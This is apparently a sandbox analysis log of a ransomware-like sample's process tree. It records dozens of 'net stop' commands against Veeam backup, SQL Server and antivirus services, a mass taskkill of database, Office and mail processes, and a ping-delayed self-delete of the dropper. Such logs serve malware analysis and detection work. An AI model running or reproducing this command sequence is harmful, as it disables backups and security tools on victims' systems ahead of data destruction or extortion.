C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y4⤵PID:4076
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ VEEAMSQL2012 /y3⤵PID:2540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y4⤵PID:1252
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser /y3⤵PID:2552
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y4⤵PID:2168
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLSafeOLRService /y3⤵PID:3944
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y4⤵PID:2844
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT /y3⤵PID:2848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y4⤵PID:3396
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY /y3⤵PID:3388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y4⤵PID:3004
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY $ ECWDB2 /y3⤵PID:2772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y4⤵PID:2316
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter /y3⤵PID:3808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y4⤵PID:4056
-
-
-
C:\Windows\SysWOW64\net.exenet stop SstpSvc /y3⤵PID:4088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SstpSvc /y4⤵PID:1480
-
-
-
C:\Windows\SysWOW64\net.exenet stop svcGenericHost /y3⤵PID:1268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop svcGenericHost /y4⤵PID:892
-
-
-
C:\Windows\SysWOW64\net.exenet stop swi_filter /y3⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_filter /y4⤵PID:1600
-
-
-
C:\Windows\SysWOW64\net.exenet stop swi_service /y3⤵PID:3828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_service /y4⤵PID:1512
-
-
-
C:\Windows\SysWOW64\net.exenet stop swi_update_64 /y3⤵PID:4028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update_64 /y4⤵PID:2812
-
-
-
C:\Windows\SysWOW64\net.exenet stop TmCCSF /y3⤵PID:2380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TmCCSF /y4⤵PID:3324
-
-
-
C:\Windows\SysWOW64\net.exenet stop tmlisten /y3⤵PID:3692
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tmlisten /y4⤵PID:1684
-
-
-
C:\Windows\SysWOW64\net.exenet stop TrueKey /y3⤵PID:1804
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKey /y4⤵PID:2996
-
-
-
C:\Windows\SysWOW64\net.exenet stop TrueKeyScheduler /y3⤵PID:3836
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyScheduler /y4⤵PID:2760
-
-
-
C:\Windows\SysWOW64\net.exenet stop TrueKeyServiceHelper /y3⤵PID:2356
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyServiceHelper /y4⤵PID:3496
-
-
-
C:\Windows\SysWOW64\net.exenet stop UI0Detect /y3⤵PID:3000
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UI0Detect /y4⤵PID:188
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamBackupSvc /y3⤵PID:2248
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc /y3⤵PID:3176
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc /y4⤵PID:1796
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc /y3⤵PID:2548
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc /y4⤵PID:3456
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc /y3⤵PID:3088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc /y4⤵PID:4008
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploymentService /y3⤵PID:2852
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y4⤵PID:532
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc /y3⤵PID:3844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc /y4⤵PID:3736
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamEnterpriseManagerSvc /y3⤵PID:344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y4⤵PID:3352
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc /y3⤵PID:3348
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc /y4⤵PID:2276
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc /y3⤵PID:2184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y4⤵PID:3512
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamRESTSvc /y3⤵PID:3932
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamRESTSvc /y4⤵PID:3660
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc /y3⤵PID:3416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y4⤵PID:3264
-
-
-
C:\Windows\SysWOW64\net.exenet stop W3svc /y3⤵PID:2304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop W3svc /y4⤵PID:1380
-
-
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:3476
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:2284
-
-
-
C:\Windows\SysWOW64\net.exenet stop WRSVC /y3⤵PID:1732
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WRSVC /y4⤵PID:1928
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ VEEAMSQL2008R2 /y3⤵PID:4080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y4⤵PID:2120
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ VEEAMSQL2008R2 /y3⤵PID:3840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y4⤵PID:4048
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamHvIntegrationSvc /y3⤵PID:2152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y4⤵PID:3916
-
-
-
C:\Windows\SysWOW64\net.exenet stop swi_update /y3⤵PID:2300
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ CXDB /y3⤵PID:1508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ CXDB /y4⤵PID:2796
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ CITRIX_METAFRAME /y3⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y4⤵PID:2800
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQL ???????? /y3⤵PID:2176
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQL ???????? /y4⤵PID:1964
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PROD /y3⤵PID:2292
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PROD /y4⤵PID:2248
-
-
-
C:\Windows\SysWOW64\net.exenet stop Zoolz 2 ?????? /y3⤵PID:1796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Zoolz 2 ?????? /y4⤵PID:3176
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper /y3⤵PID:3456
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper /y4⤵PID:2548
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PROD /y3⤵PID:4008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PROD /y4⤵PID:3088
-
-
-
C:\Windows\SysWOW64\net.exenet stop msftesql $ PROD /y3⤵PID:2168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msftesql $ PROD /y4⤵PID:976
-
-
-
C:\Windows\SysWOW64\net.exenet stop NetMsmqActivator /y3⤵PID:3736
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetMsmqActivator /y4⤵PID:3004
-
-
-
C:\Windows\SysWOW64\net.exenet stop EhttpSrv /y3⤵PID:3396
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EhttpSrv /y4⤵PID:3864
-
-
-
C:\Windows\SysWOW64\net.exenet stop ekrn /y3⤵PID:3388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ekrn /y4⤵PID:4056
-
-
-
C:\Windows\SysWOW64\net.exenet stop ESHASRV /y3⤵PID:2316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ESHASRV /y4⤵PID:1136
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SOPHOS /y3⤵PID:3808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SOPHOS /y4⤵PID:892
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SOPHOS /y3⤵PID:4088
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y4⤵PID:1592
-
-
-
C:\Windows\SysWOW64\net.exenet stop AVP /y3⤵PID:3084
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵PID:4000
-
-
-
C:\Windows\SysWOW64\net.exenet stop klnagent /y3⤵PID:628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop klnagent /y4⤵PID:2052
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SQLEXPRESS /y3⤵PID:3828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y4⤵PID:4040
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ /y3⤵PID:3904
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ /y4⤵PID:1976
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLEXPRESS /y3⤵PID:2380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLEXPRESS /y4⤵PID:2788
-
-
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:3692
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:2780
-
-
-
C:\Windows\SysWOW64\net.exenet stop kavfsslp /y3⤵PID:1804
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop kavfsslp /y4⤵PID:2340
-
-
-
C:\Windows\SysWOW64\net.exenet stop KAVFSGT /y3⤵PID:3516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop KAVFSGT /y4⤵PID:2312
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im zoolz.exe >NUL 2> 1 /im agntsvc.exe >NUL 2> 1 /im dbeng50.exe >NUL 2> 1 /im dbsnmp.exe >NUL 2> 1 /im encsvc.exe >NUL 2> 1 /im excel.exe >NUL 2> 1 /im firefoxconfig.exe >NUL 2> 1 /im Infopath.exe >NUL 2> 1 /im isqlplussvc.exe >NUL 2> 1 /im msaccess.exe >NUL 2> 1 /im msftesql.exe >NUL 2> 1 /im mspub.exe >NUL 2> 1 /im mydesktopqos.exe >NUL 2> 1 /im mydesktopservice.exe >NUL 2> 1 /im mysqld.exe >NUL 2> 1 /im mysqld-nt.exe >NUL 2> 1 /im mysqld-opt.exe >NUL 2> 1 /im ocautoupds.exe >NUL 2> 1 /im ocomm.exe >NUL 2> 1 /im ocssd.exe >NUL 2> 1 /im onenote.exe >NUL 2> 1 /im oracle.exe >NUL 2> 1 /im outlook.exe >NUL 2> 1 /im powerpnt.exe >NUL 2> 1 /im sqbcoreservice.exe >NUL 2> 1 /im sqlagent.exe >NUL 2> 1 /im sqlbrowser.exe >NUL 2> 1 /im sqlservr.exe >NUL 2> 1 /im sqlwriter.exe >NUL 2> 1 /im steam.exe >NUL 2> 1 /im synctime.exe >NUL 2> 1 /im tbirdconfig.exe >NUL 2> 1 /im thebat.exe >NUL 2> 1 /im thebat64.exe >NUL 2> 1 /im thunderbird.exe >NUL 2> 1 /im visio.exe >NUL 2> 1 /im winword.exe >NUL 2> 1 /im wordpad.exe >NUL 2> 1 /im xfssvccon.exe >NUL 2> 1 /im tmlisten.exe >NUL 2> 1 /im PccNTMon.exe >NUL 2> 1 /im CNTAoSMgr.exe >NUL 2> 1 /im Ntrtscan.exe >NUL 2> 1 /im mbamtray.exe >NUL 2> 1 /im cmd.exe >NUL 2> 12⤵PID:2100
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im zoolz.exe /im agntsvc.exe /im dbeng50.exe /im dbsnmp.exe /im encsvc.exe /im excel.exe /im firefoxconfig.exe /im Infopath.exe /im isqlplussvc.exe /im msaccess.exe /im msftesql.exe /im mspub.exe /im mydesktopqos.exe /im mydesktopservice.exe /im mysqld.exe /im mysqld-nt.exe /im mysqld-opt.exe /im ocautoupds.exe /im ocomm.exe /im ocssd.exe /im onenote.exe /im oracle.exe /im outlook.exe /im powerpnt.exe /im sqbcoreservice.exe /im sqlagent.exe /im sqlbrowser.exe /im sqlservr.exe /im sqlwriter.exe /im steam.exe /im synctime.exe /im tbirdconfig.exe /im thebat.exe /im thebat64.exe /im thunderbird.exe /im visio.exe /im winword.exe /im wordpad.exe /im xfssvccon.exe /im tmlisten.exe /im PccNTMon.exe /im CNTAoSMgr.exe /im Ntrtscan.exe /im mbamtray.exe /im cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4076
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Tes.exe"2⤵PID:848
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30003⤵
- Runs ping.exe
PID:3924
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:1512
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2784
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3456
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4020
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:972
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4308
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4348
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4556
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4620
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4852